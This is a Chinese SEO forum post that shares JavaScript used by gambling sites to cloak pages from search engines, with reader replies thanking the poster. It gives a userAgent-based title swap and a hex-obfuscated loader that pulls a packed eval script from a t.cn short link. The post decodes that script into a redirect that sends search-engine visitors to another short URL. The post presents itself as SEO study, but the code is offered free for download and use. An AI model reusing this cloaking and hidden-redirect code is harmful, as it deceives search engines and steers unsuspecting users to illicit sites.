分享判断百度来路的js代码--免费下载
分享判断百度来路的js代码--免费下载static/image/hrline/3.gif
前言:之前看到一个网站,出售这个代码,卖出天价!!!今天e58技术就给大家免费分享一下。
有的小菜鸟很迷惑,为啥有的关键词排名会出现输入网址打开显示的是正规网页,但是百度收录的确是别人的关键词和标题描述?【A就是答案】
我也附带了B和C的代码解析,仅用于SEO技术的探讨研究,严禁用于非法行业!!!!!
A:这串代码的功能就是,JS里面包含一个判断,是根据什么判断呢,这是是根据userAgent来判断,如果不是百度来的,那就显示dedecms本身的标题,所以这也就是为什么我们直接打开网页,(输入网址的方式打开)而显示正常标题的原因。
源代码如下:
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "{dede:global.cfg_webname/}"}</script>
B:<title>e58seo学习论坛e58</title>
这段代码其实是进行了Unicode编码,解码后内容是:e58seo学习论坛,e58
C:
<script type="text/javascript">
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('
\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a
\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x
72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x74\x2e\x63\x6e\x2f\x52\x6e\x
59\x30\x68\x4c\x6c\x22\x3e\x3c\x2
f\x73\x63\x72\x69\x70\x74\x3e');
</script>
分析此代码是进行16进制加密,我们解码出来是:< script type = "text/javascript" > window["document"]["write"]('<script type="text/javascript" src="http://t.cn/RnY0hLl"></script>'); < /script>
然后访问短网址:http://t.cn/RnY0hLl
会发现一串加密的js代码:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d=k||e(c);k=d}];e=function(){return'\\w+'};c=1;};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p;}('3.4("<5 c=\\\'b\\\'>");3.4("d 1=3.f");3.4("e(1.2(\\\'a\\\')>0 || 1.2(\\\'7\\\')>0 || 1.2(\\\'6\\\')>0 ||1.2(\\\'8\\\')>0 ||1.2(\\\'9\\\')>0 ||1.2(\\\'g\\\')>0 ||1.2(\\\'n\\\')>0 ||1.2(\\\'m\\\')>0 ||1.2(\\\'o\\\')>0)");3.4("i.h=\\\'k://j.l/p\\\';");3.4("</5>");3.4("");3.4("");',26,26,'|s|indexOf|document|writeln|script|soso|sogou|sm|uc|baidu|Javascript|LANGUAGE|var|if|referrer|bing|href|location|t|http|cn|so|yahoo|google|RnYpcMt'.split('|'),0,{}))
我们对其进行解密:
document.writeln("<script LANGUAGE=\'Javascript\'>");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\'baidu\')>0 || s.indexOf(\'sogou\')>0 || s.indexOf(\'soso\')>0 ||s.indexOf(\'sm\')>0 ||s.indexOf(\'uc\')>0 ||s.indexOf(\'bing\')>0 ||s.indexOf(\'yahoo\')>0 ||s.indexOf(\'so\')>0 ||s.indexOf(\'google\')>0)");
document.writeln("location.href=\'http://t.cn/RnYpcMt\';");
document.writeln("</script>");
document.writeln("");
document.writeln("");
发现原来是这个短网址:http:// t. c n / R nY p c M t
总结:这也就是为啥有的BC网站我们手动打开,是正常的正规网页,但是百度收录的标题确是BC关键词,同时还会跳转的秘密了!!!
:) 多谢分享啊啊啊 多谢分享 下载 嗯嗯,下载 牛 嗯嗯,下载